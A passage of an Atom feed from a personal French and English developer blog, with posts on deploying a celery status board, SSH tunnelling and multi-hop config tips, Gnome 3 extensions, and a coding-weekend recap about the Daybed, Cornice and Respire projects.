pour avoir un process celeryd qui tourne, donc j&amp;#8217;ai un peu cherché
ailleurs, pour finalement déployer la chose chez
&lt;a href="https://www.alwaysdata.com/"&gt;alwaysdata&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Après quelques péripéties, j&amp;#8217;ai réussi à faire tourner le tout, ça à été
un peu la bataille au départ pour installer virtualenv (j&amp;#8217;ai du faire
des changements dans mon &lt;span class="caps"&gt;PATH&lt;/span&gt; pour que ça puisse marcher), voici mon&amp;nbsp;`.bash_profile`:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PYTHONPATH&lt;/span&gt;&lt;span class="o"&gt;=~/&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=$&lt;/span&gt;&lt;span class="n"&gt;HOME&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;HOME&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et après y&amp;#8217;a plus qu&amp;#8217;à installer avec&amp;nbsp;`easy_install`:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;easy_install --install-dir ~/modules -U pip
easy_install --install-dir ~/modules -U virtualenv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et à créer le&amp;nbsp;virtualenv:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;virtualenv venv
venv/bin/pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Dernière étape, la création d&amp;#8217;un fichier application.wsgi qui s&amp;#8217;occupe
de rendre l&amp;#8217;application disponible, avec le bon&amp;nbsp;venv:&lt;/p&gt;
&lt;h2 id="ssl-et-requests"&gt;&lt;span class="caps"&gt;SSL&lt;/span&gt; et&amp;nbsp;Requests&lt;/h2&gt;
&lt;p&gt;Quelques tours de manivelle plus loin, j&amp;#8217;ai un celeryd qui tourne et qui
consomme les taches qui lui sont envoyées (pour des questions de
simplicité, j&amp;#8217;ai utilisé le backend django de celery, donc pas besoin
d&amp;#8217;&lt;span class="caps"&gt;AMQP&lt;/span&gt;, par&amp;nbsp;exemple).&lt;/p&gt;
&lt;p&gt;Problème, les ressources que je vérifie en &lt;span class="caps"&gt;SSL&lt;/span&gt; (&lt;span class="caps"&gt;HTTPS&lt;/span&gt;) me jettent. Je
sais pas exactement pourquoi à l&amp;#8217;heure qu&amp;#8217;il est, mais il semble que
lorsque je fais une requête avec
&lt;a href="http://docs.python-requests.org/en/latest/"&gt;Requests&lt;/a&gt; je me récupère
des &lt;em&gt;Connection Refused&lt;/em&gt;. Peut être une sombre histoire de proxy ? En
attendant, les appels avec &lt;span class="caps"&gt;CURL&lt;/span&gt; fonctionnent, donc j&amp;#8217;ai fait &lt;a href="https://github.com/ametaireau/whiskerboard/blob/master/board/tasks.py#L17"&gt;un
fallback vers &lt;span class="caps"&gt;CURL&lt;/span&gt; lorsque les autres méthodes
échouent&lt;/a&gt;.
Pas super propre, mais ça&amp;nbsp;fonctionne.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span class="caps"&gt;EDIT&lt;/span&gt;&lt;/strong&gt; Finalement, il se trouve que mon serveur était mal configuré.
J&amp;#8217;utilisais haproxy + stunnel, et la négiciation &lt;span class="caps"&gt;SSL&lt;/span&gt; se passait mal. Une
fois &lt;span class="caps"&gt;SSL&lt;/span&gt; et &lt;span class="caps"&gt;TLS&lt;/span&gt; activés, et SSLv2 désactivé, tout fonctionne&amp;nbsp;mieux.&lt;/p&gt;
&lt;h2 id="et-voila"&gt;Et&amp;nbsp;voilà&lt;/h2&gt;
&lt;p&gt;Finalement, j&amp;#8217;ai mon joli status-board qui tourne à merveille sur
&lt;a href="http://status.lolnet.org"&gt;http://status.lolnet.org&lt;/a&gt;&amp;nbsp;:-)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Astuces SSH</title><link href="https://blog.notmyidea.org/astuces-ssh.html" rel="alternate"></link><published>2012-12-27T00:00:00+01:00</published><updated>2012-12-27T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-12-27:/astuces-ssh.html</id><summary type="html">
&lt;h2 id="tunelling"&gt;Tunelling&lt;/h2&gt;
&lt;p&gt;Parce que je m&amp;#8217;en rapelle jamais (tête de&amp;nbsp;linote):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;hote&lt;span class="w"&gt; &lt;/span&gt;-L&lt;span class="w"&gt; &lt;/span&gt;local:lolnet.org:destination&lt;span class="w"&gt; &lt;/span&gt;-N
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="sshconfig"&gt;.ssh/config&lt;/h2&gt;
&lt;p&gt;(merci &lt;a href="http://majerti.fr"&gt;gaston&lt;/a&gt;&amp;nbsp;!)&lt;/p&gt;
&lt;p&gt;La directive suivante dans .ssh/config permet de sauter d&amp;#8217;hôte en hôte
séparés par des &amp;#8220;+&amp;#8221;&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Host &lt;span class="gs"&gt;*+*&lt;/span&gt;
        ProxyCommand ssh $(echo %h | sed
&amp;#39;s/+[^+]*$//;s/\([^+%%]*\)%%\([^+]*\)$/\2 -l …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">
&lt;h2 id="tunelling"&gt;Tunelling&lt;/h2&gt;
&lt;p&gt;Parce que je m&amp;#8217;en rapelle jamais (tête de&amp;nbsp;linote):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;hote&lt;span class="w"&gt; &lt;/span&gt;-L&lt;span class="w"&gt; &lt;/span&gt;local:lolnet.org:destination&lt;span class="w"&gt; &lt;/span&gt;-N
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="sshconfig"&gt;.ssh/config&lt;/h2&gt;
&lt;p&gt;(merci &lt;a href="http://majerti.fr"&gt;gaston&lt;/a&gt;&amp;nbsp;!)&lt;/p&gt;
&lt;p&gt;La directive suivante dans .ssh/config permet de sauter d&amp;#8217;hôte en hôte
séparés par des &amp;#8220;+&amp;#8221;&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Host &lt;span class="gs"&gt;*+*&lt;/span&gt;
        ProxyCommand ssh $(echo %h | sed
&amp;#39;s/+[^+]*$//;s/\([^+%%]*\)%%\([^+]*\)$/\2 -l \1/;s/:/ -p /&amp;#39;)
PATH=.:\$PATH nc -w1 $(echo %h | sed &amp;#39;s/^.*+//;/:/!s/$/ %p/;s/:/ /&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On peut donc spécifier des &amp;#8220;sauts&amp;#8221; ssh du&amp;nbsp;style:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="mf"&gt;@91.25.25.25&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;192.168.1.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ensuite on peut essayer de&amp;nbsp;rajouter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Host &amp;lt;label_pour_mon_serveur_privé&amp;gt;
    user &amp;lt;monuser(root)&amp;gt;
    IdentityFile  &amp;lt;chemin vers ma clé ssh pour le serveur publique&amp;gt;
    hostname ip_serveur_publique+ip_serveur_privé
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category></entry><entry><title>Gnome 3, extensions</title><link href="https://blog.notmyidea.org/gnome-3-extensions.html" rel="alternate"></link><published>2012-12-27T00:00:00+01:00</published><updated>2012-12-27T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-12-27:/gnome-3-extensions.html</id><summary type="html">
&lt;p&gt;Après avoir tenté pendant un bout de temps unity, le bureau par defaut
de ubuntu, j&amp;#8217;ai eu envie de changements, et j&amp;#8217;ai donc essayé un peu de
regarder du coté de gnome 3, à&amp;nbsp;nouveau.&lt;/p&gt;
&lt;p&gt;Et finalement, j&amp;#8217;ai trouvé quelques extensions qui sont vraiment utiles,
que je …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Après avoir tenté pendant un bout de temps unity, le bureau par defaut
de ubuntu, j&amp;#8217;ai eu envie de changements, et j&amp;#8217;ai donc essayé un peu de
regarder du coté de gnome 3, à&amp;nbsp;nouveau.&lt;/p&gt;
&lt;p&gt;Et finalement, j&amp;#8217;ai trouvé quelques extensions qui sont vraiment utiles,
que je liste&amp;nbsp;ici.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://extensions.gnome.org/extension/547/antisocial-menu/"&gt;Antisocial
    Menu&lt;/a&gt;
    vire les boutons et textes en rapport avec le web social. J&amp;#8217;en avais
    pas besoin puisque je suis connecté à mon instant messenger dans un
    terminal, en utilisant&amp;nbsp;weechat.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://extensions.gnome.org/extension/97/coverflow-alt-tab/"&gt;Coverflow
    Alt-Tab&lt;/a&gt;
    change le switcher d&amp;#8217;applications par defaut. Je le trouve bien plus
    pratique que celui par defaut puisqu&amp;#8217;il me permet de voir &amp;#8220;en grand&amp;#8221;
    quelle est la fenêtre que je vais&amp;nbsp;afficher.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://extensions.gnome.org/extension/55/media-player-indicator/"&gt;Media player
    indicator&lt;/a&gt;
    me permet de voir en temps réel ce qui se passe dans mon lecteur
    audio. Ça semble ne pas être grand chose, mais ça me manquait. Ça
    s&amp;#8217;intègre niquel avec Spotify, et ça c&amp;#8217;est&amp;nbsp;chouette.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://extensions.gnome.org/extension/149/search-firefox-bookmarks-provider/"&gt;Rechercher dans les bookmarks
    firefox&lt;/a&gt;
    permet de… à votre avis&amp;nbsp;?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Un peu moins utile mais sait on&amp;nbsp;jamais:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“&lt;a href="https://extensions.gnome.org/extension/130/advanced-settings-in-usermenu/"&gt;Advanced Settings in
    UserMenu&lt;/a&gt;”
    permet d&amp;#8217;avoir un raccourci vers les paramètres avancés dans le menu
    utilisateur (en haut à&amp;nbsp;droite)&lt;/li&gt;
&lt;li&gt;Une &lt;a href="https://extensions.gnome.org/extension/409/gtg-integration/"&gt;intégration à Getting things
    Gnome&lt;/a&gt;
    (un truc de &lt;span class="caps"&gt;GTD&lt;/span&gt;). Je suis en train d&amp;#8217;expérimenter avec cet outil,
    donc je ne sais pas encore si ça va rester, mais pourquoi&amp;nbsp;pas.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vous pouvez aller faire un tour sur &lt;a href="https://extensions.gnome.org/"&gt;https://extensions.gnome.org/&lt;/a&gt; pour
en trouver d&amp;#8217;autres à votre&amp;nbsp;gout.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Cheese &amp; code - Wrap-up</title><link href="https://blog.notmyidea.org/cheese-code-wrap-up.html" rel="alternate"></link><published>2012-10-22T00:00:00+02:00</published><updated>2012-10-22T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-10-22:/cheese-code-wrap-up.html</id><summary type="html">
&lt;p&gt;This week-end I hosted a &lt;em&gt;cheese &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; code&lt;/em&gt; session in the country-side of
Angers,&amp;nbsp;France.&lt;/p&gt;
&lt;p&gt;We were a bunch of python hackers and it rained a lot, wich forced us to
stay inside and to code.&amp;nbsp;Bad.&lt;/p&gt;
&lt;p&gt;We were not enough to get rid of all the cheese and the awesome …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;This week-end I hosted a &lt;em&gt;cheese &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; code&lt;/em&gt; session in the country-side of
Angers,&amp;nbsp;France.&lt;/p&gt;
&lt;p&gt;We were a bunch of python hackers and it rained a lot, wich forced us to
stay inside and to code.&amp;nbsp;Bad.&lt;/p&gt;
&lt;p&gt;We were not enough to get rid of all the cheese and the awesome meals,
but well, we finally managed it pretty&amp;nbsp;well.&lt;/p&gt;
&lt;p&gt;Here is a summary of what we worked&amp;nbsp;on:&lt;/p&gt;
&lt;h2 id="daybed"&gt;Daybed&lt;/h2&gt;
&lt;p&gt;Daybed started some time ago, and intend to be a replacement to google
forms, in term of features, but backed as a &lt;span class="caps"&gt;REST&lt;/span&gt; web service, in python,
and open&amp;nbsp;source.&lt;/p&gt;
&lt;p&gt;In case you wonder, daybed is effectively the name of a couch. We chose
this name because of the similarities (in the sound) with &lt;strong&gt;db&lt;/strong&gt;, and
because we&amp;#8217;re using &lt;strong&gt;CouchDB&lt;/strong&gt; as a&amp;nbsp;backend.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Daybed is a big couch!" src="/images/daybed.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We mainly hacked on daybed and are pretty close to the release of the
first version, meaning that we have something&amp;nbsp;working.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://github.com/spiral-project/daybed"&gt;The code&lt;/a&gt; is available on
github, and we also wrote &lt;a href="http://daybed.rtfd.org"&gt;a small
documentation&lt;/a&gt; for&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;Mainly, we did a lot of cleanup, rewrote a bunch of tests so that it
would be easier to continue to work on the project, and implemented some
minor features. I&amp;#8217;m pretty confidend that we now have really good basis
for this&amp;nbsp;project.&lt;/p&gt;
&lt;p&gt;Also, we will have a nice todolist application, with the backend &lt;strong&gt;and&lt;/strong&gt;
the frontend, in javascript / html / css, you&amp;#8217;ll know more when it&amp;#8217;ll be
ready&amp;nbsp;:-)&lt;/p&gt;
&lt;p&gt;Once we have something good enough, we&amp;#8217;ll release the first version and
I&amp;#8217;ll host it somewhere so that people can play with&amp;nbsp;it.&lt;/p&gt;
&lt;h2 id="cornice"&gt;Cornice&lt;/h2&gt;
&lt;p&gt;Daybed is built on top of &lt;a href="http://cornice.rtfd.org"&gt;Cornice&lt;/a&gt;, a
framework to ease the creation of&amp;nbsp;web-services.&lt;/p&gt;
&lt;p&gt;At Pycon France, we had the opportunity to attend a good presentation
about &lt;a href="https://github.com/SPORE/specifications"&gt;&lt;span class="caps"&gt;SPORE&lt;/span&gt;&lt;/a&gt;. &lt;span class="caps"&gt;SPORE&lt;/span&gt; is a way
to describe your &lt;span class="caps"&gt;REST&lt;/span&gt; web services, as &lt;span class="caps"&gt;WSDL&lt;/span&gt; is for &lt;span class="caps"&gt;WS&lt;/span&gt;-* services. This
allows to ease the creation of generic &lt;span class="caps"&gt;SPORE&lt;/span&gt; clients, which are able to
consume any &lt;span class="caps"&gt;REST&lt;/span&gt; &lt;span class="caps"&gt;API&lt;/span&gt; with a &lt;span class="caps"&gt;SPORE&lt;/span&gt;&amp;nbsp;endpoint.&lt;/p&gt;
&lt;p&gt;Here is how you can let cornice describe your web service for&amp;nbsp;you&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice.ext.spore&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;generate_spore_description&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice.service&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_services&lt;/span&gt;

&lt;span class="n"&gt;spore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;spore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/spore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;jsonp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@spore&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_spore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;services&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_services&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;generate_spore_description&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;services&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Service name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                      &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;application_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And you&amp;#8217;ll get a definition of your service, in &lt;span class="caps"&gt;SPORE&lt;/span&gt;, available at&amp;nbsp;/spore.&lt;/p&gt;
&lt;p&gt;Of course, you can use it to do other things, like generating the file
locally and exporting it wherever it makes sense to you,&amp;nbsp;etc.&lt;/p&gt;
&lt;p&gt;I released today &lt;a href="http://crate.io/packages/cornice/"&gt;Cornice 0.11&lt;/a&gt;,
which adds into other things the support for &lt;span class="caps"&gt;SPORE&lt;/span&gt;, plus some other
fixes we found on our&amp;nbsp;way.&lt;/p&gt;
&lt;h2 id="respire"&gt;Respire&lt;/h2&gt;
&lt;p&gt;Once you have the description of the service, you can do generic clients
consuming&amp;nbsp;them!&lt;/p&gt;
&lt;p&gt;We first wanted to contribute to &lt;a href="https://github.com/bl0b/spyre"&gt;spyre&lt;/a&gt;
but it was written in a way that wasn&amp;#8217;t supporting to &lt;span class="caps"&gt;POST&lt;/span&gt; data, and
they were using their own stack to handle &lt;span class="caps"&gt;HTTP&lt;/span&gt;. A lot of code that
already exists in other&amp;nbsp;libraries.&lt;/p&gt;
&lt;p&gt;While waiting the train with &lt;a href="http://natim.ionyse.com/"&gt;Rémy&lt;/a&gt;, we hacked
something together, named &amp;#8220;Respire&amp;#8221;, a thin layer on top of the awesome
&lt;a href="http://python-requests.org"&gt;Requests&lt;/a&gt;&amp;nbsp;library.&lt;/p&gt;
&lt;p&gt;We have a first version, feel free to have a look at it and provide
enhancements if you feel like it. We&amp;#8217;re still hacking on it so it may
break (for the better), but that had been working pretty well for us so&amp;nbsp;far.&lt;/p&gt;
&lt;p&gt;You can &lt;a href="http://github.com/spiral-project/respire"&gt;find the project on
github&lt;/a&gt;, but here is how to
use it, really quickly (these examples are how to interact with&amp;nbsp;daybed)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;respire&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;client_from_url&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# create the client from the SPORE definition&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client_from_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://localhost:8000/spore&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# in daybed, create a new definition&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;todo_def&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;    &lt;span class="s2"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;todo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;    &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;A list of my stuff to do&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;    &lt;span class="s2"&gt;&amp;quot;fields&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;        &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;item&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;string&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;The item&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;        &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;        &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;enum&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s2"&gt;&amp;quot;choices&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                &lt;span class="s2"&gt;&amp;quot;done&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                &lt;span class="s2"&gt;&amp;quot;todo&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;is it done or not&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;    &lt;span class="p"&gt;]}&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put_definition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;todo_def&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;make it work&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;9f2c90c0529a442cfdc03c191b022cf7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, we were out of cheese so everyone headed back to their
respective houses and&amp;nbsp;cities.&lt;/p&gt;
